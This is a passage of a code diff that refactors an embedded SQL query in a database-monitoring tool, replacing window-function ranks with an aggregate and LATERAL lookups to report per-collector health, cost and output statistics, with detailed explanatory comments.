+                -- (#2643/#3262): sys.resource_stats carries no id, and it bills only USER databases,
+                -- so those rows are inventory too — without the IS NULL arm a master-connected Azure
+                -- target with fifty user databases would read as having none.
+                --
+                -- The inventory window is the health read's OWN ($2) — no second parameter, and an
+                -- inventory that aged out says nothing rather than something stale. Uncorrelated, so both
+                -- engines evaluate it once per query (a Postgres InitPlan) instead of per row, and it
+                -- needs no GROUP BY entry and no join. Feeds display text only, through the shared
+                -- formatter; the banding never sees it.
+                CASE
+                    WHEN EXISTS
+                         (
+                             SELECT 1
+                             FROM v_database_size_stats
+                             WHERE server_id = $1
+                             AND   collection_time >= $2
+                             AND   (database_id > 4 OR database_id IS NULL)
+                         )
+                    THEN 1
+                    ELSE 0
+                END AS has_user_databases,
+                -- #4955: the window's dearest single ITEM, whose run the fan-out lookup below reads
+                -- (#2472). NULL when no run of the collector ever fanned out, which is most of them.
+                MAX(slowest_item_ms) AS dearest_item_ms,
+                -- #2804: runs the #2673 wall-clock budget abandoned. Appended LAST rather than placed beside
+                -- yield_count, which is where it belongs by meaning: both MCP surfaces read this result set
+                -- POSITIONALLY and Lite's DuckDB read mirrors these ordinals, so inserting mid-list would
+                -- silently re-map every column after it in whichever surface was not edited in the same
+                -- breath. An ABANDONED run was previously counted by total_runs and by nothing else, so it
+                -- grew the failure-rate denominator while contributing nothing to the numerator.
+                --
+                -- #2926: keyed on the ROW, not on the status alone. collection_log is append-only, so a
+                -- window can still hold cycles written before #2803 gave abandonment its own status:
+                -- status = 'SUCCESS' beside rows_collected = 0 and the budget note. Counted by status
+                -- alone this read 0 for them, and the collector banded HEALTHY while losing cycles - a
+                -- filter correct against current writes and silently wrong against older ones, failing in
+                -- the reassuring direction. The pattern is one LIKE because the budget is INTERPOLATED and
+                -- the shipped values differ (120 s for procedure_stats/query_stats/plan_correction, 600 s
+                -- for query_store), so equality against one rendered sentence matches one collector.
+                SUM(CASE WHEN {EnumeratedCollectorDriver.AbandonedRunPredicateSql}
+                         THEN 1 ELSE 0 END) AS abandoned_count,
+                -- #3010: the newest DENIAL on its own, which is what dates the last_error slot above.
+                -- last_error_time cannot stand in for it: that column is a MAX over ERROR and PERMISSIONS
+                -- together, so on a collector carrying both it hands a reader an error's instant and lets
+                -- them call it a denial. Compared against last_success_time this separates a collector
+                -- still being refused from one whose refusals all predate a later success -- the exact
+                -- distinction pg_deadlocks needed and no surface could make.
+                --
+                -- Appended LAST, like abandoned_count before it: both MCP surfaces read this result set
+                -- POSITIONALLY and Lite's DuckDB read mirrors these ordinals, so a mid-list insert would
+                -- silently re-map every column after it in whichever surface was not edited in the same
+                -- breath.
+                MAX(CASE WHEN status = 'PERMISSIONS' THEN collection_time END) AS last_denied_time,
+                -- #3017: what the spend BOUGHT. Every other statistic on a health row describes cost --
+                -- total_runs, the three durations, and the sweep-pressure roll-up built from them -- and the
+                -- rows figure lived on get_collector_cost, a different tool over a different (hourly, fleet-
+                -- wide) series. Correlating spend against output was a join a reader had to know to make.
+                -- Measured: pg_deadlocks was the dearest collector on a managed store, 49,258,335 ms over
+                -- 79,333 runs in seven days, and stored zero rows.
+                --
+                -- Read from THIS query's own window so cost and output cannot describe different runs. That
+                -- is the same reason #3010's two instants come out of one aggregate: a rows figure taken
+                -- from one window beside a duration taken from another composes into a ratio describing no
+                -- collector that ever ran.
+                --
+                -- COALESCE so a zero is unambiguous at the STORE. Without it a collector whose every
+                -- rows_collected is NULL returns NULL here, which a reader would have to guess between "this
+                -- read did not measure output" and "it stored nothing" -- and the whole point of the column
+                -- is that the second of those becomes a fact rather than an absence.
+                COALESCE(SUM(rows_collected), 0) AS rows_stored,
+                -- The DENOMINATOR's partner, and the honest half of a cost/output pair: 12 rows over 3 of
+                -- 79,333 runs is a different collector from 12 rows over all of them. get_pg_blocking already
+                -- reports captures_with_blocking beside captures_total for exactly this reason, off this same
+                -- rows_collected > 0 test. total_runs above is the denominator; this is the numerator.
+                --
+                -- APPENDED, like every column since #2472: both MCP surfaces read this result set
+                -- POSITIONALLY and Lite's DuckDB read mirrors these ordinals, so a mid-list insert would
+                -- silently re-map every column after it in whichever surface was not edited in the same
+                -- breath.
+                SUM(CASE WHEN rows_collected > 0 THEN 1 ELSE 0 END) AS runs_with_rows,
+                -- #3240: runs skipped because a PostgreSQL extension the collector DECLARES is not installed
+                -- — the EXTENSION_MISSING status the fault mapper split out of PERMISSIONS, counted apart so
+                -- the banding stops calling an uninstalled optional extension NO_PERMISSIONS. APPENDED, like
+                -- every column since #2472, because this result set is read positionally.
+                SUM(CASE WHEN status = 'EXTENSION_MISSING' THEN 1 ELSE 0 END) AS extension_missing_count,
+                -- #3754: runs whose XE session was missing or could not be created - the SESSION_MISSING status
+                -- the tolerant XE readers write for a permission-denied session read and, since #3754, the
+                -- long-query reconcile writes for a session refused in every database. Until now this status
+                -- reached this surface as total_runs and NOTHING else: not an error, not a success, not a
+                -- denial, so a collector whose every run was SESSION_MISSING banded FAILING on the never-
+                -- succeeded clock while the row said errors 0 and the output finding said it had read and
+                -- found nothing. Counted apart from error_count on purpose - it is not fed to the band, whose
+                -- capture-down story belongs to the self-alert - and fed with error_count to the output
+                -- finding as the runs that could not read. APPENDED, like every column since #2472, because
+                -- this result set is read positionally and Lite's DuckDB read mirrors the ordinals.
+                SUM(CASE WHEN status = 'SESSION_MISSING' THEN 1 ELSE 0 END) AS session_missing_count,
+                -- #3819: the instants that tell a collector which STOPPED producing apart from one that
+                -- never produced here. The same named skip carries opposite meanings on those two rows, and
+                -- until now the surface read both as the benign resting state -- which is how an install that
+                -- took pg_statement_stats from 85% productive to EXTENSION_MISSING on 23 of 50 clusters was
+                -- accepted by the countersign for 24 hours. APPENDED, like every column since #2472, because
+                -- this result set is read positionally and Lite's DuckDB read mirrors the ordinals.
+                --
+                -- The instant the current skip streak began AFTER: the newest run that was NOT a named skip.
+                -- The vocabulary is interpolated from CollectorRuntimePrecondition, which is where each of
+                -- those statuses is declared, so this cannot ask about three of four after a fourth is split
+                -- out. A NULL status counts as non-skip: it is not one of the declared skip words, and reading
+                -- it as one would let an unwritten status manufacture a streak.
+                MAX(CASE WHEN status IS NULL
+                          OR status NOT IN ({CollectorRuntimePrecondition.NamedSkipStatusSqlList})
+                         THEN collection_time END) AS last_non_skip_time,
+                -- The newest run that stored anything. Off the same rows_collected > 0 test as runs_with_rows
+                -- above, so productive means one thing on this row. Compared against last_non_skip_time it
+                -- says the productivity sits BEFORE the streak rather than inside it, which is the ORDER that
+                -- makes this a regression rather than two unrelated facts.
+                MAX(CASE WHEN rows_collected > 0 THEN collection_time END) AS last_productive_time,
+                -- #4955: the instant the trailing zero-row lookup below starts from — the newest run that
+                -- BREAKS the streak #3885 counts, which is the negation of the zero-row success test that
+                -- count is made of (see trailing_zero_row_success_runs). Inside a CASE WHEN so a run whose
+                -- test is NULL (a NULL status) is no break, exactly as it never was one under MIN(CASE ...).
+                MAX(CASE WHEN NOT (status = 'SUCCESS'
+                                   AND COALESCE(rows_collected, 0) = 0
+                                   AND NOT {EnumeratedCollectorDriver.AbandonedByNotePredicateSql})
+                         THEN collection_time END) AS last_streak_break_time
+            FROM v_collection_log
+            WHERE server_id = $1
+            AND   collection_time >= $2
+            GROUP BY collector_name
+        )
         SELECT
-            collector_name,
-            COUNT(*) AS total_runs,
-            -- #2926: SUCCESS excludes an abandonment that predates #2803, so the Success column beside
-            -- Abandoned cannot count the same run twice. Post-#2803 rows need no exclusion - ABANDONED
-            -- is not SUCCESS - and an ordinary empty run stays counted, which is what the COALESCE in
-            -- the shared predicate is for: NULL under this NOT would have dropped it.
-            SUM(CASE WHEN status = 'SUCCESS'
-                      AND NOT {EnumeratedCollectorDriver.AbandonedByNotePredicateSql}
-                     THEN 1 ELSE 0 END) AS success_count,
-            SUM(CASE WHEN status = 'ERROR' THEN 1 ELSE 0 END) AS error_count,
-            AVG(duration_ms) AS avg_duration_ms,
-            -- #2460: the mean above describes a collector whose runs all cost about the same, and
-            -- says nothing true about one whose runs come in two sizes. query_store on a dense shard
-            -- reported a 13,834 ms average over 1,155 runs where 958 of them yielded nothing and cost
-            -- ~36 ms, which puts the other 197 at ~80,900 ms EACH — each one on its own larger than
-            -- the whole 60,000 ms sweep budget. duration_ms has been written per run since V2;
-            -- nothing had ever read it as anything but a mean.
-            --
-            -- p95 rather than the max for the number a decision is made from: a max is one run, so a
-            -- single pathological cycle would make a collector look permanently terrible for the rest
-            -- of the window. p95 also scales itself to the sample — over 3,500 runs it discards the
-            -- one bad cycle, and over the six runs a daily collector gets in a week it lands on the
-            -- max, which is right, because with six samples there is no outlier anyone can afford to
-            -- throw away. DISC rather than CONT so the answer is a duration some run actually took
-            -- instead of an interpolation between the two modes, which would be a number describing
-            -- no run at all — the exact defect this column exists to end. Both engines ignore NULL
-            -- duration_ms here, as AVG already does. Byte-identical to Lite's DuckDB read.
-            MAX(duration_ms) AS max_duration_ms,
-            PERCENTILE_DISC(0.95) WITHIN GROUP (ORDER BY duration_ms) AS p95_duration_ms,
-            MAX(CASE WHEN status IN ('SUCCESS', 'SKIPPED') THEN collection_time END) AS last_success_time,
-            MAX(collection_time) AS last_run_time,
+            h.collector_name,
+            h.total_runs,
+            h.success_count,
+            h.error_count,
+            h.avg_duration_ms,
+            h.max_duration_ms,
+            h.p95_duration_ms,
+            h.last_success_time,
+            h.last_run_time,
             -- #1855: the message from the NEWEST failing run, not MAX()'s lexicographically greatest
-            -- one. The status re-check is load-bearing rather than belt-and-braces: when no failing run
-            -- in the window carried text, error_rank = 1 falls through to the newest row of ANY class,
-            -- and without it a SUCCESS row's note could surface here as a fake last error.
+            -- one. The lookup is filtered to the failing class rather than to the instant alone, which is
+            -- load-bearing rather than belt-and-braces: a run of ANY other class at the same instant (a
+            -- SUCCESS row's note) must not surface here as a fake last error, and when no failing run in
+            -- the window carried text the lookup finds nothing and this is NULL. error_message DESC only
+            -- breaks an exact-timestamp tie, the way the rank it replaces broke it, which a binary-vs-
+            -- locale collation would not.
             -- #3240: EXTENSION_MISSING is in the exemplar set because its stored sentence IS the remedy
             -- (it names the extension and the database to create it in).
-            MAX(CASE WHEN error_rank = 1 AND status IN ('ERROR', 'PERMISSIONS', 'EXTENSION_MISSING') THEN error_message END) AS last_error,
-            -- The newest failure OUTRIGHT, text or not — "when did this last fail" means the run, not
-            -- the message.
-            MAX(CASE WHEN status IN ('ERROR', 'PERMISSIONS', 'EXTENSION_MISSING') THEN collection_time END) AS last_error_time,
-            SUM(CASE WHEN status = 'PERMISSIONS' THEN 1 ELSE 0 END) AS permission_denied_count,
-            SUM(CASE WHEN status = 'YIELDED' THEN 1 ELSE 0 END) AS yield_count,
+            failed.error_message AS last_error,
+            h.last_error_time,
+            h.permission_denied_count,
+            h.yield_count,
             -- #1837: the note a SUCCEEDING run can leave behind (an enumeration that yielded 0 items,
             -- items whose enumeration probe failed) and how many runs carried one. Gated on SUCCESS
             -- specifically — the runners attach a note only to the SUCCESS write. Informational: it
-            -- feeds no band, and a legitimately empty target stays HEALTHY.
-            MAX(CASE WHEN note_rank = 1 AND status = 'SUCCESS' THEN error_message END) AS last_note,
-            COUNT(CASE WHEN status = 'SUCCESS' THEN error_message END) AS note_count,
-            -- #1852: the one thing that makes a persistently-empty enumeration interesting — does this
-            -- target actually HAVE user databases? Zero items on a server with none is legitimate and
-            -- stays quiet; zero items on a server that HAS them is a login that cannot enter any, or a
-            -- filter that swallowed everything. database_size_stats rather than database_config for
-            -- three reasons: it runs on the scheduled loop (60 min) where database_config is on-load
-            -- and can age past this window on a long-running service; it is indexed on
-            -- (server_id, collection_time) where database_config has no index at all; and it reads
-            -- sys.master_files, so it still sees databases the monitoring login cannot ENTER — exactly
-            -- the case being diagnosed. database_id > 4 excludes the system databases, tempdb
-            -- included: the size collector takes every ONLINE database, so a bare row check
-            -- would be true on every server alive. A NULL database_id is an Azure sibling row
-            -- (#2643/#3262): sys.resource_stats carries no id, and it bills only USER databases,
-            -- so those rows are inventory too — without the IS NULL arm a master-connected Azure
-            -- target with fifty user databases would read as having none.
-            --
-            -- The inventory window is the health read's OWN ($2) — no second parameter, and an
-            -- inventory that aged out says nothing rather than something stale. Uncorrelated, so both
-            -- engines evaluate it once per query (a Postgres InitPlan) instead of per row, and it
-            -- needs no GROUP BY entry and no join. Feeds display text only, through the shared
-            -- formatter; the banding never sees it.
-            CASE
-                WHEN EXISTS
-                     (
-                         SELECT 1
-                         FROM v_database_size_stats
-                         WHERE server_id = $1
-                         AND   collection_time >= $2
-                         AND   (database_id > 4 OR database_id IS NULL)
-                     )
-                THEN 1
-                ELSE 0
-            END AS has_user_databases,
+            -- feeds no band, and a legitimately empty target stays HEALTHY. The NEWEST run that carried
+            -- one (#1855), so a later clean run no longer blanks a note the window still holds; text does
+            -- not sort like the number #1837's probe note carries (12 item(s) sorts below 9 item(s)).
+            noted.error_message AS last_note,
+            h.note_count,
+            h.has_user_databases,
             -- #2472: the per-database fan-out, described for ONE run — the dearest one in the window.
             -- Five collectors run once per database and the run writes a single blended duration_ms, so
             -- "eight databases at 10.1s" and "one at 62s beside seven at 2.7s" are the same 80,900 ms and
             -- want opposite fixes. These four are that one run's parts, and their ratio
             -- (slowest_item_ms * fanout_items / slowest_run_duration_ms) is 1.0 for an even fan-out and
-            -- 6.1 for the dominated example. All four come from the SAME row via slowest_rank rather than
-            -- four independent aggregates, because a slowest item taken from one run and a width taken
-            -- from another compose into a ratio describing no run that ever happened — the same defect
-            -- PERCENTILE_CONT was rejected for above. NULL throughout for a collector that never fans
-            -- out, which is most of them.
-            MAX(CASE WHEN slowest_rank = 1 THEN fanout_item_count END) AS fanout_items,
-            MAX(CASE WHEN slowest_rank = 1 THEN slowest_item END) AS slowest_item,
-            MAX(CASE WHEN slowest_rank = 1 THEN slowest_item_ms END) AS slowest_item_ms,
-            MAX(CASE WHEN slowest_rank = 1 THEN duration_ms END) AS slowest_run_duration_ms,
-            -- #2804: runs the #2673 wall-clock budget abandoned. Appended LAST rather than placed beside
-            -- yield_count, which is where it belongs by meaning: both MCP surfaces read this result set
-            -- POSITIONALLY and Lite's DuckDB read mirrors these ordinals, so inserting mid-list would
-            -- silently re-map every column after it in whichever surface was not edited in the same
-            -- breath. An ABANDONED run was previously counted by total_runs and by nothing else, so it
-            -- grew the failure-rate denominator while contributing nothing to the numerator.
-            --
-            -- #2926: keyed on the ROW, not on the status alone. collection_log is append-only, so a
-            -- window can still hold cycles written before #2803 gave abandonment its own status:
-            -- status = 'SUCCESS' beside rows_collected = 0 and the budget note. Counted by status
-            -- alone this read 0 for them, and the collector banded HEALTHY while losing cycles - a
-            -- filter correct against current writes and silently wrong against older ones, failing in
-            -- the reassuring direction. The pattern is one LIKE because the budget is INTERPOLATED and
-            -- the shipped values differ (120 s for procedure_stats/query_stats/plan_correction, 600 s
-            -- for query_store), so equality against one rendered sentence matches one collector.
-            SUM(CASE WHEN {EnumeratedCollectorDriver.AbandonedRunPredicateSql}
-                     THEN 1 ELSE 0 END) AS abandoned_count,
-            -- #3010: the newest DENIAL on its own, which is what dates the last_error slot above.
-            -- last_error_time cannot stand in for it: that column is a MAX over ERROR and PERMISSIONS
-            -- together, so on a collector carrying both it hands a reader an error's instant and lets
-            -- them call it a denial. Compared against last_success_time this separates a collector
-            -- still being refused from one whose refusals all predate a later success -- the exact
-            -- distinction pg_deadlocks needed and no surface could make.
+            -- 6.1 for the dominated example. All four come from the SAME row (the dearest lookup below)
+            -- rather than four independent aggregates, because a slowest item taken from one run and a
+            -- width taken from another compose into a ratio describing no run that ever happened — the
+            -- same defect PERCENTILE_CONT was rejected for above. Ranked on slowest_item_ms rather than
+            -- duration_ms because the question is which database is expensive, not which cycle was: a run
+            -- whose total is the largest only because every database was busy is exactly the shape a
+            -- per-database override should NOT be aimed at.
             --
-            -- Appended LAST, like abandoned_count before it: both MCP surfaces read this result set
-            -- POSITIONALLY and Lite's DuckDB read mirrors these ordinals, so a mid-list insert would
-            -- silently re-map every column after it in whichever surface was not edited in the same
-            -- breath.
-            MAX(CASE WHEN status = 'PERMISSIONS' THEN collection_time END) AS last_denied_time,
-            -- #3017: what the spend BOUGHT. Every other statistic on a health row describes cost --
-            -- total_runs, the three durations, and the sweep-pressure roll-up built from them -- and the
-            -- rows figure lived on get_collector_cost, a different tool over a different (hourly, fleet-
-            -- wide) series. Correlating spend against output was a join a reader had to know to make.
-            -- Measured: pg_deadlocks was the dearest collector on a managed store, 49,258,335 ms over
-            -- 79,333 runs in seven days, and stored zero rows.
-            --
-            -- Read from THIS query's own window so cost and output cannot describe different runs. That
-            -- is the same reason #3010's two instants come out of one aggregate: a rows figure taken
-            -- from one window beside a duration taken from another composes into a ratio describing no
-            -- collector that ever ran.
-            --
-            -- COALESCE so a zero is unambiguous at the STORE. Without it a collector whose every
-            -- rows_collected is NULL returns NULL here, which a reader would have to guess between "this
-            -- read did not measure output" and "it stored nothing" -- and the whole point of the column
-            -- is that the second of those becomes a fact rather than an absence.
-            COALESCE(SUM(rows_collected), 0) AS rows_stored,
-            -- The DENOMINATOR's partner, and the honest half of a cost/output pair: 12 rows over 3 of
-            -- 79,333 runs is a different collector from 12 rows over all of them. get_pg_blocking already
-            -- reports captures_with_blocking beside captures_total for exactly this reason, off this same
-            -- rows_collected > 0 test. total_runs above is the denominator; this is the numerator.
-            --
-            -- APPENDED, like every column since #2472: both MCP surfaces read this result set
-            -- POSITIONALLY and Lite's DuckDB read mirrors these ordinals, so a mid-list insert would
-            -- silently re-map every column after it in whichever surface was not edited in the same
-            -- breath.
-            SUM(CASE WHEN rows_collected > 0 THEN 1 ELSE 0 END) AS runs_with_rows,
-            -- #3240: runs skipped because a PostgreSQL extension the collector DECLARES is not installed
-            -- — the EXTENSION_MISSING status the fault mapper split out of PERMISSIONS, counted apart so
-            -- the banding stops calling an uninstalled optional extension NO_PERMISSIONS. APPENDED, like
-            -- every column since #2472, because this result set is read positionally.
-            SUM(CASE WHEN status = 'EXTENSION_MISSING' THEN 1 ELSE 0 END) AS extension_missing_count,
-            -- #3754: runs whose XE session was missing or could not be created - the SESSION_MISSING status
-            -- the tolerant XE readers write for a permission-denied session read and, since #3754, the
-            -- long-query reconcile writes for a session refused in every database. Until now this status
-            -- reached this surface as total_runs and NOTHING else: not an error, not a success, not a
-            -- denial, so a collector whose every run was SESSION_MISSING banded FAILING on the never-
-            -- succeeded clock while the row said errors 0 and the output finding said it had read and
-            -- found nothing. Counted apart from error_count on purpose - it is not fed to the band, whose
-            -- capture-down story belongs to the self-alert - and fed with error_count to the output
-            -- finding as the runs that could not read. APPENDED, like every column since #2472, because
-            -- this result set is read positionally and Lite's DuckDB read mirrors the ordinals.
-            SUM(CASE WHEN status = 'SESSION_MISSING' THEN 1 ELSE 0 END) AS session_missing_count,
-            -- #3819: the three columns that tell a collector which STOPPED producing apart from one that
-            -- never produced here. The same named skip carries opposite meanings on those two rows, and
-            -- until now the surface read both as the benign resting state -- which is how an install that
-            -- took pg_statement_stats from 85% productive to EXTENSION_MISSING on 23 of 50 clusters was
-            -- accepted by the countersign for 24 hours. APPENDED, like every column since #2472, because
-            -- this result set is read positionally and Lite's DuckDB read mirrors the ordinals.
-            --
-            -- current_status is what the collector is reporting NOW, for the finding's prose. Taken at
-            -- recency_rank = 1 rather than as a MAX over the skip rows: MAX is lexicographic, so on a
+            -- A collector that never fans out has no dearest item, and the lookup then reads the NEWEST
+            -- run, which is where the rank this replaces fell through: fanout_items and slowest_item are
+            -- that run's own (NULL for a collector that never fans out, which is most of them),
+            -- slowest_item_ms is NULL, and slowest_run_duration_ms is that run's duration.
+            dearest.fanout_item_count AS fanout_items,
+            dearest.slowest_item AS slowest_item,
+            dearest.slowest_item_ms AS slowest_item_ms,
+            dearest.duration_ms AS slowest_run_duration_ms,
+            h.abandoned_count,
+            h.last_denied_time,
+            h.rows_stored,
+            h.runs_with_rows,
+            h.extension_missing_count,
+            h.session_missing_count,
+            -- #3819: current_status is what the collector is reporting NOW, for the finding's prose. Taken
+            -- from the NEWEST run rather than as a MAX over the skip rows: MAX is lexicographic, so on a
             -- streak whose status changed it would name whichever word sorts highest instead of the one
-            -- being reported.
-            MAX(CASE WHEN recency_rank = 1 THEN status END) AS current_status,
-            -- The instant the current skip streak began AFTER: the newest run that was NOT a named skip.
-            -- The vocabulary is interpolated from CollectorRuntimePrecondition, which is where each of
-            -- those statuses is declared, so this cannot ask about three of four after a fourth is split
-            -- out. A NULL status counts as non-skip: it is not one of the declared skip words, and reading
-            -- it as one would let an unwritten status manufacture a streak.
-            MAX(CASE WHEN status IS NULL
-                      OR status NOT IN ({CollectorRuntimePrecondition.NamedSkipStatusSqlList})
-                     THEN collection_time END) AS last_non_skip_time,
-            -- The newest run that stored anything. Off the same rows_collected > 0 test as runs_with_rows
-            -- above, so productive means one thing on this row. Compared against last_non_skip_time it
-            -- says the productivity sits BEFORE the streak rather than inside it, which is the ORDER that
-            -- makes this a regression rather than two unrelated facts.
-            MAX(CASE WHEN rows_collected > 0 THEN collection_time END) AS last_productive_time,
+            -- being reported. status DESC only breaks an exact-timestamp tie, and breaks it identically
+            -- on DuckDB and Postgres -- the same reason the lookups above tie-break on error_message.
+            newest.status AS current_status,
+            h.last_non_skip_time,
+            h.last_productive_time,
             -- #3885: how many runs, counting back from the NEWEST, were SUCCESS with zero rows and nothing
             -- else. The column that makes the #3819 regression arm able to see the class it could not:
             -- job_history recorded SUCCESS / 0 rows run after run on 41 of 43 servers of the largest
@@ -2526,11 +3537,11 @@ OR status NOT IN ({CollectorRuntimePrecondition.NamedSkipStatusSqlList})
             -- banded HEALTHY throughout, because #3819 keys on a skip STATUS and this collector's status was
             -- the most reassuring word the vocabulary has.
             --
-            -- Exact, and FREE: recency_rank already exists in the subquery below (#3819 added it for
-            -- current_status), so this buys the streak's true width with no new window function and no new
-            -- sort. MIN of the rank of the newest run that BREAKS the streak, minus one, is the count of
-            -- runs ahead of it; NULL (no run breaks it -- every run in the window is a zero-row success)
-            -- falls back to COUNT(*), which is that same count. A streak broken by an error, a denial, a
+            -- Exact. The newest run that BREAKS the streak is found by the aggregate above
+            -- (last_streak_break_time); the lookup ranks only the runs from that instant on, newest first,
+            -- and takes the rank of the first breaking run, minus one, which is the count of runs ahead of
+            -- it. NULL (no run breaks it -- every run in the window is a zero-row success) falls back to
+            -- the window's run count, which is that same count. A streak broken by an error, a denial, a
             -- skip or a productive run therefore reads 0 rather than reaching past it, because what this
             -- measures is the collector's CURRENT state and any of those is a different current state.
             --
@@ -2539,86 +3550,105 @@ OR status NOT IN ({CollectorRuntimePrecondition.NamedSkipStatusSqlList})
             -- data LOSS rather than a source that went quiet, and counting it here would attribute an
             -- abandonment to a regression. APPENDED, like every column since #2472, because this result set
             -- is read positionally.
-            COALESCE(
-                MIN(CASE WHEN NOT (status = 'SUCCESS'
-                                   AND COALESCE(rows_collected, 0) = 0
-                                   AND NOT {EnumeratedCollectorDriver.AbandonedByNotePredicateSql})
-                         THEN recency_rank END) - 1,
-                COUNT(*)) AS trailing_zero_row_success_runs,
+            COALESCE(streak.runs_ahead_of_break, h.total_runs) AS trailing_zero_row_success_runs,
             -- #4748: the note the collector's NEWEST run left, which is not last_note above. last_note is the
-            -- newest run that CARRIED a note (note_rank), so a clean run after a partial-failure cycle still
+            -- newest run that CARRIED a note, so a clean run after a partial-failure cycle still
             -- shows the older cycle's note there; the band must not read that, because the loss it names
-            -- is not the collector's current state. recency_rank = 1 is the newest run of any status, and the
-            -- SUCCESS gate matches last_note's (only the SUCCESS write carries a note). APPENDED like every
+            -- is not the collector's current state. The newest run of any status, and the SUCCESS
+            -- gate matches last_note's (only the SUCCESS write carries a note). APPENDED like every
             -- column since #2472, because this result set is read positionally and Lite's DuckDB read
             -- mirrors the ordinals.
-            MAX(CASE WHEN recency_rank = 1 AND status = 'SUCCESS' THEN error_message END) AS latest_run_note
-        FROM
+            CASE WHEN newest.status = 'SUCCESS' THEN newest.error_message END AS latest_run_note
+        FROM health h
+        -- #4955: the keyed lookups. Each reads ONE collector's rows through
+        -- idx_collection_log_watermark (server_id, collector_name, collection_time DESC), at an instant the
+        -- aggregate above already found, instead of ranking every run of the window to reach them. The
+        -- window bound ($2) is repeated on each so a chunk older than the window is excluded at plan time.
+        --
+        -- The newest run: the rows at the window's newest instant, the greater status first (the order
+        -- the rank this replaces broke an exact tie in; PostgreSQL's DESC puts a NULL status first).
+        LEFT JOIN LATERAL
         (
-            -- #1855: rank each class of message newest-first so the two exemplar columns above can take
-            -- the LATEST one instead of the lexicographically greatest. Ordering on whether the class's
-            -- CASE came back empty puts every row that carries such a message ahead of every row that
-            -- does not, so rank 1 is the newest one that has text — and a later clean run no longer
-            -- blanks a note the window still holds. Text does not sort like the number #1837's probe
-            -- note carries: 12 item(s) sorts below 9 item(s). One byte-identical shape with Lite's
-            -- DuckDB read and the Viewer's, down to the error_message DESC tie-break.
-            SELECT
-                collector_name,
-                collection_time,
-                duration_ms,
-                status,
-                error_message,
-                -- #2926: the abandonment predicate above reads it. Projected here for the same reason
-                -- #2472's three columns are: this subquery ENUMERATES its columns, so an aggregate
-                -- outside naming one it does not carry fails at the STORE and nowhere earlier.
-                rows_collected,
-                -- #2472: projected here because this subquery enumerates its columns rather than
-                -- SELECT *-ing them, so an aggregate outside that names a column the inner query does
-                -- not carry fails at the STORE and nowhere earlier — no compiler, no text assertion and
-                -- no local build can see it.
-                fanout_item_count,
-                slowest_item,
-                slowest_item_ms,
-                ROW_NUMBER() OVER
-                (
-                    PARTITION BY collector_name
-                    ORDER BY (CASE WHEN status = 'SUCCESS' THEN error_message END) IS NULL,
-                             collection_time DESC,
-                             error_message DESC
-                ) AS note_rank,
-                ROW_NUMBER() OVER
-                (
-                    PARTITION BY collector_name
-                    ORDER BY (CASE WHEN status IN ('ERROR', 'PERMISSIONS', 'EXTENSION_MISSING') THEN error_message END) IS NULL,
-                             collection_time DESC,
-                             error_message DESC
-                ) AS error_rank,
-                -- #2472: the window's dearest single ITEM, and with it the run that carried it. Ranked on
-                -- slowest_item_ms rather than duration_ms because the question is which database is
-                -- expensive, not which cycle was: a run whose total is the largest only because every
-                -- database was busy is exactly the shape a per-database override should NOT be aimed at.
-                ROW_NUMBER() OVER
-                (
-                    PARTITION BY collector_name
-                    ORDER BY slowest_item_ms IS NULL,
-                             slowest_item_ms DESC,
-                             collection_time DESC
-                ) AS slowest_rank,
-                -- #3819: newest run first, so current_status above can take the status the collector is
-                -- reporting NOW. status DESC only breaks an exact-timestamp tie, and breaks it identically
-                -- on DuckDB and Postgres -- the same reason the ranks above tie-break on error_message.
-                ROW_NUMBER() OVER
-                (
-                    PARTITION BY collector_name
-                    ORDER BY collection_time DESC,
-                             status DESC
-                ) AS recency_rank
-            FROM v_collection_log
-            WHERE server_id = $1
-            AND   collection_time >= $2
-        ) runs
-        GROUP BY collector_name
-        ORDER BY collector_name
+            SELECT n.status,
+                   n.error_message
+            FROM v_collection_log n
+            WHERE n.server_id = $1
+            AND   n.collector_name = h.collector_name
+            AND   n.collection_time >= $2
+            AND   n.collection_time = h.last_run_time
+            ORDER BY n.status DESC
+            LIMIT 1
+        ) newest ON TRUE
+        -- The newest failing run that carried text. No such run: no row, and last_error is NULL.
+        LEFT JOIN LATERAL
+        (
+            SELECT f.error_message
+            FROM v_collection_log f
+            WHERE f.server_id = $1
+            AND   f.collector_name = h.collector_name
+            AND   f.collection_time >= $2
+            AND   f.collection_time = h.last_failure_text_time
+            AND   f.status IN ('ERROR', 'PERMISSIONS', 'EXTENSION_MISSING')
+            AND   f.error_message IS NOT NULL
+            ORDER BY f.error_message DESC
+            LIMIT 1
+        ) failed ON TRUE
+        -- The newest SUCCESS run that carried a note.
+        LEFT JOIN LATERAL
+        (
+            SELECT t.error_message
+            FROM v_collection_log t
+            WHERE t.server_id = $1
+            AND   t.collector_name = h.collector_name
+            AND   t.collection_time >= $2
+            AND   t.collection_time = h.last_note_time
+            AND   t.status = 'SUCCESS'
+            AND   t.error_message IS NOT NULL
+            ORDER BY t.error_message DESC
+            LIMIT 1
+        ) noted ON TRUE
+        -- The run that carried the window's dearest item, the newest of any tied on it. With no dearest
+        -- item the filter keeps every run, and the newest one is the row.
+        LEFT JOIN LATERAL
+        (
+            SELECT d.fanout_item_count,
+                   d.slowest_item,
+                   d.slowest_item_ms,
+                   d.duration_ms
+            FROM v_collection_log d
+            WHERE d.server_id = $1
+            AND   d.collector_name = h.collector_name
+            AND   d.collection_time >= $2
+            AND   (h.dearest_item_ms IS NULL OR d.slowest_item_ms = h.dearest_item_ms)
+            ORDER BY d.collection_time DESC
+            LIMIT 1
+        ) dearest ON TRUE
+        -- The runs from the newest streak break on, ranked newest first (the greater status first at an
+        -- exact tie). Never the window: with no break the aggregate's instant is NULL and nothing is read.
+        LEFT JOIN LATERAL
+        (
+            SELECT MIN(CASE WHEN NOT (status = 'SUCCESS'
+                                      AND COALESCE(rows_collected, 0) = 0
+                                      AND NOT {EnumeratedCollectorDriver.AbandonedByNotePredicateSql})
+                            THEN run_rank END) - 1 AS runs_ahead_of_break
+            FROM
+            (
+                SELECT s.status,
+                       s.rows_collected,
+                       s.error_message,
+                       ROW_NUMBER() OVER
+                       (
+                           ORDER BY s.collection_time DESC,
+                                    s.status DESC
+                       ) AS run_rank
+                FROM v_collection_log s
+                WHERE s.server_id = $1
+                AND   s.collector_name = h.collector_name
+                AND   s.collection_time >= $2
+                AND   s.collection_time >= h.last_streak_break_time
+            ) ranked
+        ) streak ON TRUE
+        ORDER BY h.collector_name
         """;
 
     /// <summary>How long a completed per-server collection-health read is served from memory before the next
@@ -2700,6 +3730,8 @@ public static async Task<List<CollectorHealth>> GetCollectionHealthAsync(
